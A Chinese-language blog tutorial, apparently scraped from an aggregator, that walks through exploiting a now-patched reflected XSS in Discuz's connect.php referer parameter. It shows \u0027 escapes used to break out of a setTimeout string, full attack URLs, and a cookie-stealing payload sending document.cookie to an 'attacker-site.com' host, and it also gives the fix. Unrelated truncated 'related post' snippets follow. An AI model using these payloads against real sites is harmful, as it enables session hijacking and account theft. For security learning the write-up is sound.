1. 程式人生 > >XSS學習筆記(四)-漏洞利用全過程

XSS學習筆記(四)-漏洞利用全過程

<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a'; alert(document.cookie);a='';", 3000);</script>


1.在這個例子(現在早已補)中希望大家也要體會到:XSS的上下文比較重要,如何根據上下文,利用未過濾的字元,合理的構造,才是成功的關鍵(要有足夠猥瑣的思路)
http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=aaaaaaaaaaa&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802

2.這是測試註冊的一個賬戶,我們去F12看 原始碼,第一個思路就是看上下文,在上下文中發現原始的上下文,然後閉合和繞過原來的上下文,原始碼之後,ctrl+f 搜尋自己可以控制輸入的地方(如賬號,個人資訊等)

3.看到: 
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./aaaaaaaaaaa';", 3000);</script>
...   
<a href ="http://www.discuz.net/./aaaaaaaaaaa" >
4.兩處的上下文都需要 雙引號或者單引號的閉合,可以試試 aaaaaaaaaaa" 作為賬戶名註冊一個 來試試,或者直接字啊URL模擬你和這樣的資訊,看看有沒有報錯,經過實驗,是不行的,是的,不可能給我們留這麼大的漏洞

5.然後我們回頭看看第一個是作為函式引數的,setTimeout(可執行指令碼,延時時間)函式,也就是說這個函式會把函式的第一個引數作為指令碼執行,那我們試下閉合單引號, 在 URL 中 &referfer=aaaaaaaaaaa'&oauth_signature....

6.但是這裡已經被過濾了。變成了window.location.href ='http://www.discuz.net/./aaaaaaaaaaa&#039;';",3000) 這裡單引號是行不通的。

7.要相信還是自己的思路不夠猥瑣,我們看到setTimeout()的第一個引數是字串,我們前面的教程裡說過一次,JS字串中,字元還可以表示為unicode的形式,即:單引號還可以表示為\u0027或者\x27,呵呵,希望來了吧,還有同意字元的不同編碼的閉合方式,lz過濾了\沒? 試試便知,

在URL:
&referfer=aaaaaaaaaaa\&oauth_signature....

結果:
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./aaaaaaaaaaa\';", 3000);</script>
大喜:沒有過濾\就是其轉義性還可以被客戶端使用
下面還是老思路:

把原來引號裡面的單引號都變成\u0027或者\x27
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a\u0027; alert(document.cookie);a=\u0027\u0027;", 3000);</script>

8.在URL:
http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027;alert(document.cookie);&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802

執行後,直接彈出cookie, 呵呵,還有啥說的,這裡的已經是POC了!!!

9.如果把原來的alert() 換一下,直接指向自已的xss平臺就真的Ok了
如 換成 window.location.href='www.attacker-site.com?c='+document.cookie+';'    這樣會跳轉到另一個頁面,造成載入失效

所以要改進:
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a'.replace(/.+/,/javascript:alert(document.cookie)/.source);//';", 3000);</script>
上面類似於我以前寫的文章點選劫持, 修改客戶端的href程式碼,同樣替換掉單引號,和加號
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//';", 3000);</script>
在URL:
http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802

這樣就不會因為跳轉而載入失敗了

看這些猥瑣的例子中,其實最終都是巢狀這反射的思想,然後就是根據上下文繞過的思想,熟能生巧,讓我們盡情的Xss去吧

這個修復方案就是過濾\ 就Ok了

關於Json XSS (http://blog.csdn.net/l_f0rm4t3d/article/details/23851071) 請看我寫過的這篇

相關推薦

XSS學習筆記-漏洞利用全過程

<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a'; alert(document.cookie);a='

Cocos2d-x學習筆記 布景層的加入移除

dcl from position 顏色 顯示地圖 idt col 分享 學習 布景層類也就是CCLayer類,每一個遊戲場景中都能夠有非常多層,每一層負責各自的任務。顯示地圖、顯示人物等。同一時候層還是一個容器,能夠放入文本、圖片和菜單。構成遊戲中一個個UI。這次

機器學習筆記機器學習可行性分析

資料 表示 image 隨機 訓練樣本 -s mage 例如 lin 從大量數據中抽取出一些樣本,例如,從大量彈珠中隨機抽取出一些樣本,總的樣本中橘色彈珠的比例為,抽取出的樣本中橘色彈珠的比例為,這兩個比例的值相差很大的幾率很小,數學公式表示為: 用抽取到的樣本作為訓練

Python_sklearn機器學習學習筆記decision_tree決策樹

min n) 空間 strong output epo from 標簽 ict # 決策樹 import pandas as pd from sklearn.tree import DecisionTreeClassifier from sklearn.

Python學習筆記 列表生成式_生成器

rec triangle 小寫 ont 無限 end clas 普通 執行過程 筆記摘抄來自:https://www.liaoxuefeng.com/wiki/0014316089557264a6b348958f449949df42a6d3a2e542c000/001431

Unity3D之Mecanim動畫系統學習筆記:Animation State

大致 面板 輸入 jpg any 動畫播放 速度 nsf 顯示 動畫的設置 我們先看看Animation Clip的一些設置: Loop time:動畫是否循環播放。 下面出現了3個大致一樣的選項: Root Transform Rotation:表示為播放動畫

.net core 2.0學習筆記:遷移.net framework 工程到.net core

編譯 its evel hashtable ref 學習筆記 inline null 創建 在遷移.net core的過程中,第一步就是要把.net framework 工程的目標框架改為.net core2.0,但是官網卻沒有提供轉換工具,需要我們自己動手完成了

ES6學習筆記—— async 函數

ons fst cte code span pre getname 普通 聲明 await 是 async wait 的簡寫, 是 generator 函數的語法糖。 async 函數的特點: async 聲明一個方法是異步的,await 則等待這個異步方法執行的完

Hibernate學習筆記 --- 映射基本數據類型的List集合

varchar prim drop n) 進行 lis auth pos 方案 集合按其內元素的數據類型分為兩種:基本數據類型集合及復雜對象類型集合,Hibernate對於兩類集合提供不同的映射方式。(在類上以@Embeddable註解的復雜對象數據類型處理方式同基本數據類

java學習筆記:import語法

employee sign cnblogs java 調用 變量賦值 temp 職位 求職 Import 語法是給編譯器尋找特定類的適當位置的一種方法。 創建一個Employee 類,包括四個實體變量姓名(name),年齡(age),職位(designation)和薪水(s

Cesium學習筆記Camera

ttr can str efault 簡單的 list 事件處理 get provider http://blog.csdn.net/HobHunter/article/details/74909641 Cesium 相機控制場景中的視野。操作相機的方法有很多,如

python學習筆記-數據類型

rand 兩個 urn 浪費 line 平年 randint .com .cn 0. 在 Python 中的數據類型詳解 http://www.cnblogs.com/scios/p/8026576.html 1. 為什麽布爾類型(bool)的 True 和 False 分

Nodejs學習筆記-----Buffer

pretty 成員 保存 n) tin 設置 amp 個數 普通 Node.js Buffer(緩沖區) JavaScript 語言自身只有字符串數據類型,沒有二進制數據類型。 但在處理像TCP流或文件流時,必須使用到二進制數據。因此在 Node.js中,定義了一個 Buf

Elasticsearch學習筆記ElasticSearch分布式機制

clas cse 負載均衡 丟失 數據 不可 分布式 復雜 發生 一、Elasticsearch對復雜分布式機制透明的隱藏特性 1、分片機制: (1)index包含多個shard,每個shard都是一個最小工作單元,承載部分數據,lucen

DeepLearning.ai學習筆記卷積神經網絡 -- week1 卷積神經網絡基礎知識介紹

除了 lock 還需要 情況 好處 計算公式 max 位置 網絡基礎 一、計算機視覺 如圖示,之前課程中介紹的都是64* 64 3的圖像,而一旦圖像質量增加,例如變成1000 1000 * 3的時候那麽此時的神經網絡的計算量會巨大,顯然這不現實。所以需要引入其他的方法來

python學習筆記字符串及字符串操作

默認 小寫字母 是不是 swap git 查找字符 英文 去掉 title 字符串   字符串可以存任意類型的字符串,比如名字,一句話等等。 字符串還有很多內置方法,對字符串進行操作,常用的方法如下: 1 name1=‘hello world‘ 2 print(nam

day3-python學習筆記

end tar upper date update size upd sdi reat 字符串方法 #字符串這些方法都不會改變原來字符串的值name = ‘beSTtest‘# new_name = name.strip()#默認是去掉空格和換行符# new_name =

DeepLearning.ai學習筆記卷積神經網絡 -- week2深度卷積神經網絡 實例探究

過濾 common 經典 上一個 問題 inline 最壞情況 ali method 一、為什麽要進行實例探究? 通過他人的實例可以更好的理解如何構建卷積神經網絡,本周課程主要會介紹如下網絡 LeNet-5 AlexNet VGG ResNet (有152層) Incep

《Qt5 開發與實例第三版學習筆記

常用 斷言 max swap 正則表達 4.2 debug 實例 筆記 1 //2.4 算法及正則表達式 2 //2.4.1 Qt5常用算法 3 double c=qAbs(a);//返回絕對值 4 double max=qMax(b,c);//返回最大值 5

java 學習筆記 java連接ZooKeeper

事件 pre case 啟動 sync -m 服務 persist 刪除節點 public class Demo2 { public static void main(String[] args) { String connectString = "192.168.